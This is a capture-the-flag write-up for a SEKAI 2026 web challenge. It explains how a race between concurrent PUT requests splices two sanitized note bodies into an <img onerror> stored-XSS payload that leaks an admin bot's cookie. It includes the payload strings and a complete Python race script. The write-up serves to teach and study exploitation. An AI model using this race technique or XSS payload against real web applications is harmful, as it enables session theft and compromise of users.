$ cat writeup.md…
$ cat writeup.md…
sekai2026
Task: a Go note app sanitizes each message and serves stored files as HTML to an admin bot. Solution: race concurrent PUT writes so two individually safe sanitized bodies splice into an executable img/onerror tag.
Original organizer task description was not available in the solving notes.
English summary: the challenge provided a Go note application and an admin bot. The goal was to make the bot visit an attacker-controlled note and print its FLAG cookie to the console.
The application stores notes as files under /app/notes/{uuid} and serves them with:
Content-Type: text/html;charset=utf-8
Creating or updating a note runs this sanitizer in app/main.go:
sanitized := bluemonday.StrictPolicy().Sanitize(msg) sanitized = strings.ReplaceAll(sanitized, "<", "<") sanitized = strings.ReplaceAll(sanitized, ">", ">") sanitized = regexp.MustCompile(`<(/)?\w+`).ReplaceAllString(sanitized, "")
Per request this looks fairly strong for normal stored XSS. Encoded tags are decoded and then the final regex removes any < followed by an optional slash and a word character. For example, <img/src/onerror=console.log(document.cookie)> becomes only the attribute fragment src/onerror=console.log(document.cookie)>, not an element.
The important bug was not inside the HTML parser or bluemonday. It was in the update path:
f, _ := os.OpenFile(filePath, os.O_WRONLY|os.O_TRUNC, 0644) f.Write([]byte(sanitized))
There was no locking. Concurrent PUT /notes/{id} requests can open/truncate/write the same file at overlapping times. Each request writes a body that was safe by itself, but a later short write can overwrite the beginning of a longer write and create unsafe HTML in the final file.
The admin bot sets FLAG as a cookie for ltw.chals.sekai.team, visits https://ltw.chals.sekai.team/notes/{uuid}, and logs browser console output. CSP is restrictive for external resources but allows inline JavaScript:
default-src 'none'; script-src 'unsafe-inline'
So console.log(document.cookie) is enough for exfiltration.
<img...> became src=...> after the regex.<\x00img and <\x00script> did not become working Chrome tags.scrİpt bypass was patched in the used version, v1.0.27.golang.org/x/net/html CVE-2025-22872 and CVE-2026-42502 style parser differentials were investigated, but StrictPolicy plus the final regex killed the tested payload families.Use two individually safe payloads against the same note ID:
Payload A:
message=<
After sanitization this becomes the one-byte string:
<
Payload B:
message=Bimg/src/onerror=console.log(document.cookie)>
It contains no <\w+ opener, so it remains:
Bimg/src/onerror=console.log(document.cookie)>
Race many concurrent PUT requests with these two bodies. The winning interleaving is:
Payload B opens the file, truncates it, and writes Bimg/src/onerror=console.log(document.cookie)>.
Payload A, already opened on the same file, writes its single byte < at offset 0 afterward.
The final file becomes:
<img/src/onerror=console.log(document.cookie)>
Chrome treats the slash after img as an attribute separator, producing an image element roughly equivalent to:
<img src="" onerror="console.log(document.cookie)">
The empty/broken image source triggers onerror, and the bot prints the cookie.
Production was verified with note ID:
f3a3ea11-df14-4d8f-9998-110ee1b4ee5e
whose final body was:
<img/src/onerror=console.log(document.cookie)>
The admin bot log contained:
console.log: FLAG=SEKAI{REDACTED}
The working script was saved as tasks/sekai2026/lt-w/race_put.py. Its core logic is:
#!/usr/bin/env python3 import concurrent.futures import re import urllib.parse import urllib.request BASE = "https://ltw.chals.sekai.team" class NoRedirect(urllib.request.HTTPRedirectHandler): def redirect_request(self, req, fp, code, msg, headers, newurl): return None opener = urllib.request.build_opener(NoRedirect) def request(method, path, data=None): body = None if data is None else urllib.parse.urlencode(data).encode() req = urllib.request.Request(BASE + path, data=body, method=method) try: return opener.open(req, timeout=10).read() except urllib.error.HTTPError as e: return e.read() def create_note(): req = urllib.request.Request( BASE + "/create", data=urllib.parse.urlencode({"message": "x"}).encode(), method="POST", ) try: resp = opener.open(req, timeout=10) loc = resp.headers.get("Location") except urllib.error.HTTPError as e: loc = e.headers.get("Location") return re.search(r"/notes/([0-9a-fA-F-]+)", loc).group(1) def put(note_id, msg): request("PUT", f"/notes/{note_id}", {"message": msg}) def get(note_id): return urllib.request.urlopen(BASE + f"/notes/{note_id}", timeout=10).read().decode() def race_once(note_id, workers=80): payloads = ["<", "Bimg/src/onerror=console.log(document.cookie)>"] with concurrent.futures.ThreadPoolExecutor(max_workers=workers) as ex: futures = [ex.submit(put, note_id, payloads[i & 1]) for i in range(workers)] for f in futures: try: f.result() except Exception: pass return get(note_id) note_id = create_note() for i in range(200): body = race_once(note_id) if body.startswith("<img") or body.startswith("<img/"): print("HIT", note_id, repr(body)) break
After a hit, submit the note ID to the admin bot.
$ cat /etc/motd
Liked this one?
Pro unlocks every writeup, every flag, and API access. $9/mo.
$ cat pricing.md$ grep --similar